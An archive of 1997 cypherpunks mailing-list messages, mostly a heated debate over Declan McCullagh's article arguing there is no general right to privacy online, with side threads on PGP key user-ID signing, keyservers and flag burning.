Subject: There's no general right to privacy -- get over it, from Netly
In-Reply-To: 
Message-ID: 



On Fri, 13 Jun 1997, Declan McCullagh wrote:

> I suspect the scare about privacy has led to muddled thinking.
> 
> Free speech is a right that strictly limits the government's ability to
> control what you say. We should have a similar right of privacy from the
> government.

That would be nice.  You should have put that in your article.

> But I give up my free speech "rights" when I attend a college with a wacky
> speech code or go to work at a company with workplace speech policies. My
> choices in those situations are governed by my free speech preferences. 
> Similarly, I give up my privacy "rights" when I go to unknown web sites,
> apply for a loan, or post to Usenet, etc. These also are preferences. 

But here you have a choice, you can chose to not accept that job or attend
that class, or surf that site, or even do so with a nome de guere. What
choice have you to control TRW or the DMV's, or your criminal records if
you have any?  Those aren't on your computer.

You can always attend the classes under assumed names.  This has been done
before.  (I believe one of the Steves at Apple did this - Wozniak???)
 
> I'm surprised not to hear more from other folks here: my position is one
> cypherpunks have advocated for years -- controlling what data flow from my
> computer is my responsibility.

It's still early in the morning.  I'm sure the thread will explode pretty
soon. Yes, but what about the information that others can get to on your
ISP?  Do you control that info?  We've always advocated protecting our own
data, but this doesn't mean that we should invade the privacy of those who
are clueless, or suck it in when some rogue piece of software (see the
netscape thread) endagers our privacy. 

I'm not saying pull your shades up and stand butt naked infront of your
windows.  I'm saying someone shouldn't have the right to stick a camera in
your home without your knowledge and then publish pictures of you in
Playgirl or whatever.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From sunder at brainlink.com  Fri Jun 13 09:05:09 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Sat, 14 Jun 1997 00:05:09 +0800
Subject: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: 
Message-ID: 



On Fri, 13 Jun 1997, Declan McCullagh wrote:

> Oh, and at least read the whole article.
> 
> -Declan
>    
>    Privacy? What Privacy?
> 
>    by Declan McCullagh   June 12, 1997
>    
>         I have a confession to make: Unlike many of my civil libertarian
>    colleagues, I believe you have no general right to privacy online.
>    Sure, you have the right to protect your personal data, but you
>    shouldn't be able to stop someone else from passing along that
>    information if you let it leave your computer. That's your
>    responsibility.

I still disagree, and not just online.  There is plenty of information
that you have no control over but should.  Your credit card transactions
for instance can be looked up by any scumbag willing to pay money to TRW
and it's ilk.  Your DMV records, your health records.  In theory only
those that need to know this knowledge should be able to access it, and in
practice what have we seen so far? 

If I give XYZ corp any info I expect them not to sell that info without my
permission.  Verily, that information is valuable, therefore if they want
to sell it, they should get my permission, and should pay me for it.

I don't necessarily want government restrictions on privacy, however I
would want a constitutional amendment to privacy that says: all I do is
private unless I explicitly share it with others, and if I do share it,
they may not pass it on to others without my permission.  This is on a
personal level, not on a corporate or governmental level.  Why I feel this
way is an excercise for the reader.  Hint: Uncle Sam works for us since we
pay him from our income.  We don't work for him (most of the time.)

How many loons have used DMV records to stalk their victims?

How about the nice Netscape hole that allows sites to surf your hard drive
as you're surfing their sites?

Yes, I do take privacy seriously, and I do protect it.  But to say anyone
has the right to snoop my machines and see what I have there is NOT cool.
What I leave on my computer is my private business, and NOBODY HAS THE
RIGHT TO SURF IT WITHOUT MY PERMISSION.  Whether or not they have root.
As for Radio Shack weasels, I don't give them info, or give them
misleading info.  What's on my hard drives and in my machine's RAM is NONE
OF ANYONE'S BUSINESS!

At the last PC Expo, I registered as H.P. Lovecraft.  When I buy things
that are purchased by credit card I know that info will leak out, and
don't do this unless I'm willing to leak it out.

So, I still disagree with your view.  Even after reading the whole
article.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From declan at well.com  Fri Jun 13 09:19:48 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 14 Jun 1997 00:19:48 +0800
Subject: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: 
Message-ID: 



It's sad but not surprising that Ray didn't even bother to read the
article before saying "FUCK YOU." Talk about clueless...

He still misunderstands my position. I'm saying you have no property right
in information others collect about you.

> How many loons have used DMV records to stalk their victims?

How many loons have used newspaper reports to stalk their victims?
 
> How about the nice Netscape hole that allows sites to surf your hard drive
> as you're surfing their sites?

Great. You want Congress to pass a law that says "Netscape shall release
no more buggy browsers." Yeah, and mandate that pi is 3.14, right? 

> Yes, I do take privacy seriously, and I do protect it.  But to say anyone
> has the right to snoop my machines and see what I have there is NOT cool.
> What I leave on my computer is my private business, and NOBODY HAS THE
> RIGHT TO SURF IT WITHOUT MY PERMISSION.  Whether or not they have root.

I'm not saying that people have a "right to surf (?) it without your
permission." That's a violation of your property rights, a trespass. But
if you connect to my web site, I should be allowed to record whatever info
leaks from your computer. Don't like it? Cut the flow or don't come. 

-Declan


On Fri, 13 Jun 1997, Ray Arachelian wrote:

> On Fri, 13 Jun 1997, Declan McCullagh wrote:
> 
> > Oh, and at least read the whole article.
> > 
> > -Declan
> >    
> >    Privacy? What Privacy?
> > 
> >    by Declan McCullagh   June 12, 1997
> >    
> >         I have a confession to make: Unlike many of my civil libertarian
> >    colleagues, I believe you have no general right to privacy online.
> >    Sure, you have the right to protect your personal data, but you
> >    shouldn't be able to stop someone else from passing along that
> >    information if you let it leave your computer. That's your
> >    responsibility.
> 
> I still disagree, and not just online.  There is plenty of information
> that you have no control over but should.  Your credit card transactions
> for instance can be looked up by any scumbag willing to pay money to TRW
> and it's ilk.  Your DMV records, your health records.  In theory only
> those that need to know this knowledge should be able to access it, and in
> practice what have we seen so far? 
> 
> If I give XYZ corp any info I expect them not to sell that info without my
> permission.  Verily, that information is valuable, therefore if they want
> to sell it, they should get my permission, and should pay me for it.
> 
> I don't necessarily want government restrictions on privacy, however I
> would want a constitutional amendment to privacy that says: all I do is
> private unless I explicitly share it with others, and if I do share it,
> they may not pass it on to others without my permission.  This is on a
> personal level, not on a corporate or governmental level.  Why I feel this
> way is an excercise for the reader.  Hint: Uncle Sam works for us since we
> pay him from our income.  We don't work for him (most of the time.)
> 
> How many loons have used DMV records to stalk their victims?
> 
> How about the nice Netscape hole that allows sites to surf your hard drive
> as you're surfing their sites?
> 
> Yes, I do take privacy seriously, and I do protect it.  But to say anyone
> has the right to snoop my machines and see what I have there is NOT cool.
> What I leave on my computer is my private business, and NOBODY HAS THE
> RIGHT TO SURF IT WITHOUT MY PERMISSION.  Whether or not they have root.
> As for Radio Shack weasels, I don't give them info, or give them
> misleading info.  What's on my hard drives and in my machine's RAM is NONE
> OF ANYONE'S BUSINESS!
> 
> At the last PC Expo, I registered as H.P. Lovecraft.  When I buy things
> that are purchased by credit card I know that info will leak out, and
> don't do this unless I'm willing to leak it out.
> 
> So, I still disagree with your view.  Even after reading the whole
> article.
> 
> =====================================Kaos=Keraunos=Kybernetos==============
> ..+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
> ...\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
> <--*-->| ------------------ | syrup, don't you?"                     |\/|\/
> .../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
> ..+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
> ======================== http://www.sundernet.com =========================
> 
> 
> 






From declan at well.com  Fri Jun 13 09:23:14 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 14 Jun 1997 00:23:14 +0800
Subject: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: 
Message-ID: 



Again Ray misses the point. It's your responsibility to protect your
privacy. Choose credit card companies that protect it and you can enforce
this "right to privacy" through contract law. Ordering toilets on your
cards is already fraud. 

Nobody's saying someone should be allowed to break into your computer.
But by all means, beat that straw man some more.

-Declan


On Fri, 13 Jun 1997, Ray Arachelian wrote:

> On Fri, 13 Jun 1997, Declan McCullagh wrote:
> 
> > I suppose I am scum, at least by Ray's definition.
> > 
> > But let me ask this question: if someone *did* post my credit card/bank
> > records online through an anonymous remailer, what recourse would I have?
> > What recourse should I have?
> > 
> > -Declan
> 
> My point exactly.  Why should anyone have access to my machine or my
> records and be able to pass it on to others?  Sure the insurance companies
> will squeal that they should have access to my DMV and health records, but
> should they have the right to take that info and pass it on publically?
> 
> What recourse do you feel you should have?
> 
> What would YOU do if someone did post all your personal info online?
> things like credit records, home address, phone number, DMV records,
> health records and such?  What would you WANT to do?  And what control do
> you currently have over this?
> 
> Mind you, with your credit card info, any one of the "ankle biters" of the
> Bevis & Butthead mentality would be able to purchase a dozen toilets and
> have them shipped to your home, and other such abuses.  Or report all your
> credit cards stolen right before you decide to entertain someone to dinner
> and find you can't pay for it... etc...  These are all well known pranks.
> 
> Do you see my point and why I'm vehemently opposed to yours?
> 
> Or do you believe that "Oh, I have nothing to hide, I'm a good person and
> have nothing to fear from anyone?"
> 
> > 
> > 
> > On Fri, 13 Jun 1997, Ray Arachelian wrote:
> > 
> > > On Thu, 12 Jun 1997, Declan McCullagh wrote:
> > > 
> > > > http://pathfinder.com/netly/editorial/0,1012,1050,00.html
> > > 
> > > [...]
> > > 
> > > >      I have a confession to make: Unlike many of my
> > > > civil libertarian colleagues, I believe you have no
> > > > general right to privacy online. Sure, you have the
> > > > right to protect your personal data, but you shouldn't
> > > > be able to stop someone else from passing along that
> > > > information if you let it leave your computer. That's
> > > > your responsibility.
> > > 
> > > 
> > > Booooooooo!  Hisssssssssss!  Putting your bread and butter before your
> > > morals, eh?  Maybe if someone would go through all your records and post
> > > them all over the net, you'd feel differently!
> > > 
> > > Declan, this truly sucks. :(  I'm very disappointed in you.  You are truly
> > > scum if you believe this.
> 
> =====================================Kaos=Keraunos=Kybernetos==============
> ..+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
> ...\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
> <--*-->| ------------------ | syrup, don't you?"                     |\/|\/
> .../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
> ..+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
> ======================== http://www.sundernet.com =========================
> 
> 
> 






From declan at pathfinder.com  Fri Jun 13 09:23:14 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Sat, 14 Jun 1997 00:23:14 +0800
Subject: There's no general right to privacy -- get over it, from Netly
In-Reply-To: 
Message-ID: 



Ray appears unwilling or unable to read what I write, so I may be leaving
this thread unless it becomes more interesting and less repetitive,
quickly. 

On Fri, 13 Jun 1997, Ray Arachelian wrote:

> > Free speech is a right that strictly limits the government's ability to
> > control what you say. We should have a similar right of privacy from the
> > government.
> 
> That would be nice.  You should have put that in your article.

Get a clue. I did:

        Of course there's an essential right to privacy from the
   government. (Beware government databases: Nazis used census data in
   Germany and Holland to track down and eliminate undesirables.)

> It's still early in the morning.  I'm sure the thread will explode pretty
> soon. Yes, but what about the information that others can get to on your
> ISP?  Do you control that info?  We've always advocated protecting our own

Yes. You can control it. Try learning how to "chmod 700 ~". If you don't
do it, don't whine about violations of your "privacy rights."

-Declan







From frantz at netcom.com  Fri Jun 13 09:24:25 1997
From: frantz at netcom.com (Bill Frantz)
Date: Sat, 14 Jun 1997 00:24:25 +0800
Subject: Photo ID is not needed for key signings....
In-Reply-To: 
Message-ID: 



At 10:33 PM -0700 6/12/97, William H. Geiger III wrote:
>In , on 06/12/97
>   at 10:14 PM, Bill Frantz  said:
>>If you have a version of the key with no signatures, then you can change
>>the data field and re-sign with the associated secret key.  Since the
>>data field has changed, you properly need to have others re-verify the
>>validity of the binding.
>
>I don't think that any changes that he would make to his key would need
>re-verification provided that he signed those changes. Take the following
>scenario:
>
>John Doe creates a key and signs it:
>
>pub 2048/FFFFFFFF 01/01/90 John Doe
>sig                        John Doe (0xFFFFFFFF)
>
>Now 3 other people verify that the key does belong to John Doe and sign
>the key:
>
>pub 2048/FFFFFFFF 01/01/90 John Doe john.doe at anonymous.com
>sig                        John Doe   (0xFFFFFFFF)
>sig                        Mary Jane  (0xAAAAAAAA)
>sig                        Tom Thumb  (0x11111111)
>sig                        Tiny Tim   (0xCCCCCCCC)
>
>Now John adds an aka to his key and signs it.
>
>pub 2048/FFFFFFFF 01/01/90 John Doe john.doe at anonymous.com
>sig                        John Doe   (0xFFFFFFFF)
>sig                        Mary Jane  (0xAAAAAAAA)
>sig                        Tom Thumb  (0x11111111)
>sig                        Tiny Tim   (0xCCCCCCCC)
>aka                        John Doe john.doe at who-is-it.com
>sig                        John Doe   (0xFFFFFFFF)
>
>Since John Doe is the only one who could sign the key with the new aka one
>can assume that the aka is as valid as the original userid.

So if John Doe wants to be known as "president at whitehouse.gov" or "Tim May
" all he has to do is change the field, and upload the
changed key to the key servers, and all the signatures should remain good?


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From tcmay at got.net  Fri Jun 13 09:29:17 1997
From: tcmay at got.net (Tim May)
Date: Sat, 14 Jun 1997 00:29:17 +0800
Subject: FUCK YOU: There's no general right to privacy -- get over it,from Netly
In-Reply-To: 
Message-ID: 



At 8:12 AM -0700 6/13/97, Ray Arachelian wrote:
>On Thu, 12 Jun 1997, Declan McCullagh wrote:
>
>> http://pathfinder.com/netly/editorial/0,1012,1050,00.html
>
>[...]
>
>>      I have a confession to make: Unlike many of my
>> civil libertarian colleagues, I believe you have no
>> general right to privacy online. Sure, you have the
>> right to protect your personal data, but you shouldn't
>> be able to stop someone else from passing along that
>> information if you let it leave your computer. That's
>> your responsibility.
>
>
>Booooooooo!  Hisssssssssss!  Putting your bread and butter before your
>morals, eh?  Maybe if someone would go through all your records and post
>them all over the net, you'd feel differently!
>
>Declan, this truly sucks. :(  I'm very disappointed in you.  You are truly
>scum if you believe this.

Your "go through all your records" point is ambiguous. If others broke into
your house or office and searched your computer they would be guilty of
breaking and entering, and probably theft (of your records). Publication of
your records "all over the net" could be a compounding act, especially in a
civil action against the thieves.

However, if the "go through all your records" is really just collecting and
compiling your public utterances, or information you gave to others (with
no contractual agreement of secrecy), etc., then there is really no
generalized "right to privacy."

In a free and open society people are free to take any information they
have gathered or compiled, cross-indexed and compiled, and sell it or do as
they wish with it. "Tim's Dossier Service" is free to compile dossiers
based on any records he can find.

("Privacy advocates" find such things as "Tim's Dossier Service" abhorrent,
and want laws regulating such things. They even want laws regulating the
searching of past postings on Usenet, services likek DejaNews and
AltaVista.)

So, Ray, count me as "scum." Maybe Vulis will loan you his robot insulter
and you can send ASCII art to the list.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From declan at well.com  Fri Jun 13 09:31:37 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 14 Jun 1997 00:31:37 +0800
Subject: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: 
Message-ID: 




On Fri, 13 Jun 1997, Ray Arachelian wrote:
> Booooooooo!  Hisssssssssss!  Putting your bread and butter before your
> morals, eh?

Far from it. My position is a principled one, not one of convenience.

As a civil libertarian, for instance, I would not support laws that give
certain journalists more free speech "rights" than a Net-loon with a web
site.

-Declan






From whgiii at amaranth.com  Fri Jun 13 09:35:46 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 14 Jun 1997 00:35:46 +0800
Subject: Photo ID is not needed for key signings....
In-Reply-To: 
Message-ID: <199706131613.LAA12353@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 06/13/97 
   at 11:00 AM, Bill Frantz  said:

>At 10:33 PM -0700 6/12/97, William H. Geiger III wrote:
>>In , on 06/12/97
>>   at 10:14 PM, Bill Frantz  said:
>>>If you have a version of the key with no signatures, then you can change
>>>the data field and re-sign with the associated secret key.  Since the
>>>data field has changed, you properly need to have others re-verify the
>>>validity of the binding.
>>
>>I don't think that any changes that he would make to his key would need
>>re-verification provided that he signed those changes. Take the following
>>scenario:
>>
>>John Doe creates a key and signs it:
>>
>>pub 2048/FFFFFFFF 01/01/90 John Doe
>>sig                        John Doe (0xFFFFFFFF)
>>
>>Now 3 other people verify that the key does belong to John Doe and sign
>>the key:
>>
>>pub 2048/FFFFFFFF 01/01/90 John Doe john.doe at anonymous.com
>>sig                        John Doe   (0xFFFFFFFF)
>>sig                        Mary Jane  (0xAAAAAAAA)
>>sig                        Tom Thumb  (0x11111111)
>>sig                        Tiny Tim   (0xCCCCCCCC)
>>
>>Now John adds an aka to his key and signs it.
>>
>>pub 2048/FFFFFFFF 01/01/90 John Doe john.doe at anonymous.com
>>sig                        John Doe   (0xFFFFFFFF)
>>sig                        Mary Jane  (0xAAAAAAAA)
>>sig                        Tom Thumb  (0x11111111)
>>sig                        Tiny Tim   (0xCCCCCCCC)
>>aka                        John Doe john.doe at who-is-it.com
>>sig                        John Doe   (0xFFFFFFFF)
>>
>>Since John Doe is the only one who could sign the key with the new aka one
>>can assume that the aka is as valid as the original userid.

>So if John Doe wants to be known as "president at whitehouse.gov" or "Tim
>May " all he has to do is change the field, and upload the
>changed key to the key servers, and all the signatures should remain
>good?

Well remember that John Doe is only adding an AKA to his key not deleteing
the old userid and replacing it with a new one. This is very important.

pub 2048/FFFFFFFF 01/01/90 John Doe john.doe at anonymous.com
sig                        John Doe   (0xFFFFFFFF)
sig                        Mary Jane  (0xAAAAAAAA)
sig                        Tom Thumb  (0x11111111)
sig                        Tiny Tim   (0xCCCCCCCC)
aka                        John Doe president at whitehouse.gov
sig                        John Doe   (0xFFFFFFFF)


If he were to remove the old userid and replace it with a new one you
would have:

pub 2048/FFFFFFFF 01/01/90 John Doe president at whithouse.gov
sig                        John Doe   (0xFFFFFFFF)

without any autheticating signatures.

The first case all we have is a change of address while in the second we
have a change of identity.



- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6FypY9Co1n+aLhhAQEa6QP9EqFGKkAddZMmNFt6hcU8VbIrcqN5toia
vUXHsUjL+3BPhddyGc0qU2q8GqsBEvqklPYFGfT1nYAI8/v4J1Qd81gOLvxEvnrZ
FUeFersILXJBQ1VYHhvhUoTKT3CyDg1PbrwYPIlyksEYbFSv+anxIywQGF58XXRh
VtonV7HFyiU=
=wy43
-----END PGP SIGNATURE-----






From whgiii at amaranth.com  Fri Jun 13 09:52:54 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 14 Jun 1997 00:52:54 +0800
Subject: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: 
Message-ID: <199706131632.LAA12660@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on
06/13/97 
   at 11:38 AM, Ray Arachelian  said:

>On Fri, 13 Jun 1997, Declan McCullagh wrote:

>> Oh, and at least read the whole article.
>> 
>> -Declan
>>    
>>    Privacy? What Privacy?
>> 
>>    by Declan McCullagh   June 12, 1997
>>    
>>         I have a confession to make: Unlike many of my civil libertarian
>>    colleagues, I believe you have no general right to privacy online.
>>    Sure, you have the right to protect your personal data, but you
>>    shouldn't be able to stop someone else from passing along that
>>    information if you let it leave your computer. That's your
>>    responsibility.

>I still disagree, and not just online.  There is plenty of information
>that you have no control over but should.  Your credit card transactions
>for instance can be looked up by any scumbag willing to pay money to TRW
>and it's ilk.  Your DMV records, your health records.  In theory only
>those that need to know this knowledge should be able to access it, and
>in practice what have we seen so far? 

Well lets see CC transactions are not just your info but the CC issuers
info & the merchants info. Should it be illegal for you to tell anyone
that you bought a HD from Segate or that you used your Carte Blanch card
to do it? If you don't like it pay *CASH*.

Health Records are only between you and your doctor unless you bring in a
3rd party (aka health insurance). Once you do that you have opened up your
records to whatever the policy of your insurance company is, don't like it
get a different insurance company or pay for it in, look out now,
*CASH*!!! (I have paid the last 10yrs of medical & dental bills all in
cash).

DMV records? They are treated the same as *ANY* state licence, they are
part of the public record. This includes land titles, auto titles, birth
certificates, death certificates, marrage & devorce records, any
perfesional license (Doctor, Engeneere, CPA, Archetic, ...ect). As far as
your driving record *ALL* court procedings are open to the public.

In a free and open society it is not only desired that this information be
made public but it is required!! You can not have a free society if
everything the government does is hidden away behind closed doors.

>If I give XYZ corp any info I expect them not to sell that info without
>my permission.  Verily, that information is valuable, therefore if they
>want to sell it, they should get my permission, and should pay me for it.

Why? Have you entered into any agreement that they would not sell this
information? Why is this information any more yours that it is theirs? How
can you claim title to property after you have given it away??? 

Ray you really should re-take Democracy 101 before you start ranting like
this.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6F3OI9Co1n+aLhhAQGV+AP9HIiuM6hy1h0j7tFYTMXHa08hZuAIjSUJ
CiURxHerZPAAE3ZPjjT6WllVmofz25Cg7rhfKXmaCaDh+Px8kEur6qFV6jZk/Az/
0MhLTHuz0foID5TKA24W/p/WrLuOIbQpAnPV1ukb38DjoQ/En1TYFItNe+Jbv75m
sWSuYyPffHE=
=TvrX
-----END PGP SIGNATURE-----






From whgiii at amaranth.com  Fri Jun 13 09:54:18 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 14 Jun 1997 00:54:18 +0800
Subject: There's no general right to privacy -- get over it, from Netly
In-Reply-To: 
Message-ID: <199706131641.LAA12785@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on
06/13/97 
   at 12:04 PM, Declan McCullagh  said:

>Get a clue. I did:

>        Of course there's an essential right to privacy from the
>   government. (Beware government databases: Nazis used census data in
>   Germany and Holland to track down and eliminate undesirables.)

Well this is rather a poor example. The requirment of a census was written
into the costitution and with good reason. Many of the government actions
are based on demographics congressional districting is a prime example.

There is a fight going on in cogress right now as the current
administration wants to be able to gestimate the census rather than doing
an actuall head count so it can manipulate the figures any way it wants
(ie change the figures in key congressional districts so they can re-draw
them to favor their supporters).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6F5Vo9Co1n+aLhhAQGMOQQAkJ+3CqXwhsJVVO7xXNE2C91A4GQK1uXd
GgBlABNshvWlZoqPsGcmnOm1QZVIUPBavPx4hHsVk3UMvaQeiwGeWfp1dBmmxGMo
v2LqRev7dlsLAIUcG/2dZ3kaEy/S+Vlqtb04Pklq+vkjM3RFYDYfF5b1AkfntCnA
laNv9MKl8w8=
=iIwz
-----END PGP SIGNATURE-----






From alano at teleport.com  Fri Jun 13 09:56:35 1997
From: alano at teleport.com (Alan)
Date: Sat, 14 Jun 1997 00:56:35 +0800
Subject: Photo ID is not needed for key signings....
In-Reply-To: 
Message-ID: 



On Thu, 12 Jun 1997, Tim May wrote:

> I can't understand (hint: someone please explain) why I get so many
> requests to send the "tcmay at got.net" key, as opposed to the
> "tcmay at netcom.com" key so widely available. I thought the key signings were
> about the Person Widely Known as "Tim May" being associated with the key
> signed, not some temporary e-mail address.

Have you set up another userid on the key and resubmit it to the key
servers and avoid the confusion.

> My binding was between the key, and "me." Those who wanted to send messages
> to "me" could assume that only "I" could read it. The address
> "tcmay at netcom.com" vs. "tcmay at got.net" is not central. Any concern that
> "tcmay at got.net" is somehow not the keyholder of that '92 key is a nonissue.

Most people out there only know you via your e-mail address.  How do they
know if "tcmay at netcom.com" is the same as "tcmay at got.net" and not
"mallet at nsa.gov"?  When looking for someone's key, most people look by
e-mail address.  (It is the only "unique" id other than key id or
fingerprint that people have to go on.)

> If the keyserver databases focus on such ephemera as the current ISP
> account, then they are focussing on the wrong things.

What do you want keyservers to go on?  You have to have some way of
obtaing the keys for an individual.  It could be some other Tim May out
there.  (Name collision is pretty common, especially since everyone and
his extended family are getting on the net.)

> Am I missing something central?
> 
> --Tim May, whose e-mail deliverer has changed a few times, but whose key
> remains constant. Which is more important?

Uh... Making the key reflect you address so people can find it...  Or as
was said in Dr. Strangelove "It is not a deterent if you keep it a
secret!".

alano at teleport.com | "Those who are without history are doomed to retype it."






From frantz at netcom.com  Fri Jun 13 10:06:15 1997
From: frantz at netcom.com (Bill Frantz)
Date: Sat, 14 Jun 1997 01:06:15 +0800
Subject: FUCK YOU: There's no general right to privacy -- get over it,from Netly
In-Reply-To: 
Message-ID: 



At 8:22 AM -0700 6/13/97, Declan McCullagh wrote:
>        Fortunately, you have some options. Say you walk into Radio Shack
>   and that teenager behind the counter wants your home address. You have
>   three choices: Convince the guy he doesn't need it, ask the government
>   to force him not to require it -- or leave.

You can also lie, frequently the most convenient option, and according to
surveys, frequently used with nosy web sites.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From declan at pathfinder.com  Fri Jun 13 10:15:58 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Sat, 14 Jun 1997 01:15:58 +0800
Subject: Netscape Security Flaw is a Feature
In-Reply-To: 
Message-ID: 




On Thu, 12 Jun 1997, Tim May wrote:

> According to Netscape spokesmen, this feature was added to the kernel of
> Mosaic, then Navigator, in 1993, as part of the Clipper Key Recovery
> Program. As James Clarke put it an interview tonight on MSNBC, "Dorothy
> Denning asked us to insert the "remote read" capabilities to ensure that
> the legitimate needs of law enforcement are met. No person cruising the Web
> has any expectation of privacy, as even Declan McCullagh has pointed out."

Tim misrepresents my position, or does not understand it. I did not say
that. Rather, I argued that you have no "right of privacy" that allows you
generally to restrict the right of others to gossip, trade, or otherwise
share information about you. Such a rule would violate their rights of
free speech.

Like Marc, I hope there is still some role for truth in the debate about
privacy issues. 

-Declan







From jim.burnes at ssds.com  Fri Jun 13 10:21:11 1997
From: jim.burnes at ssds.com (Jim Burnes)
Date: Sat, 14 Jun 1997 01:21:11 +0800
Subject: Flag Burning...
In-Reply-To: <199706130521.BAA13934@ren.globecomm.net>
Message-ID: 





On Fri, 13 Jun 1997, RS wrote:

> When it comes down to flag burning, It really bothers me that we allow our
> symbol of freedom to be burned.  It's more than a flag and a right.  It's a
> symbol of the freedom we have.  To allow someone to publicly burn a flag is
> essentially displaying our freedom being burned.
> 
> Bush was a veteran, and Clinton was not.  I take it the ones who are
> writing on this subject about how we should have the "freedom" to burn the
> flag have never served in the military or for our country.  
> 
> Being a veteran myself, I find it very distateful to allow anyone on our
> soil to be allowed to "BURN" our symbol of freedom.  Think about the flag
> for a moment and what it really stands for.  Does it not stand for freedom
> and liberty?
> 
> Sorry, I just had to let this out.  I stand behind Bush on this one.  Don't
> burn the flag unless you would like to live under another flag!
> 

Being a veteran, you should be aware of the freedoms for which you
risked your life.  You are assuming that burning of our flag is intended
to insult the tenets of freedom our country used to be based on.
(unfortunately only for europeans)

Maybe what the person is saying is that "our freedom is going up in
flames".  Considering the barbeque at Waco I would consider this the
ultimate political statement.

"Church burning.  Its not just for racists anymore!"

(sorry i digress)

Political speech.  Love it or shut the hell up.

Just because you find it offensive doesn't mean you should change the
constitution.  Should we amend the constitution to prosecute people
who pick their noses in public, say the f-word or insult your favorite
religion?

Man!  Time to take a civics 101 class.

Jim Burnes
son and nephew of people who
thought they were risking their
lives for freedom









From sunder at brainlink.com  Fri Jun 13 10:21:17 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Sat, 14 Jun 1997 01:21:17 +0800
Subject: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: 
Message-ID: 



On Fri, 13 Jun 1997, Declan McCullagh wrote:

> It's sad but not surprising that Ray didn't even bother to read the
> article before saying "FUCK YOU." Talk about clueless...

No, at the time, I didn't read the entire article, I did read the ENTIRE
snipped version you posted. You then later posted the whole article
stating "at least read the whole thing" and I did read the whole at that
point.  However, I didn't change my oppinion on this.
 
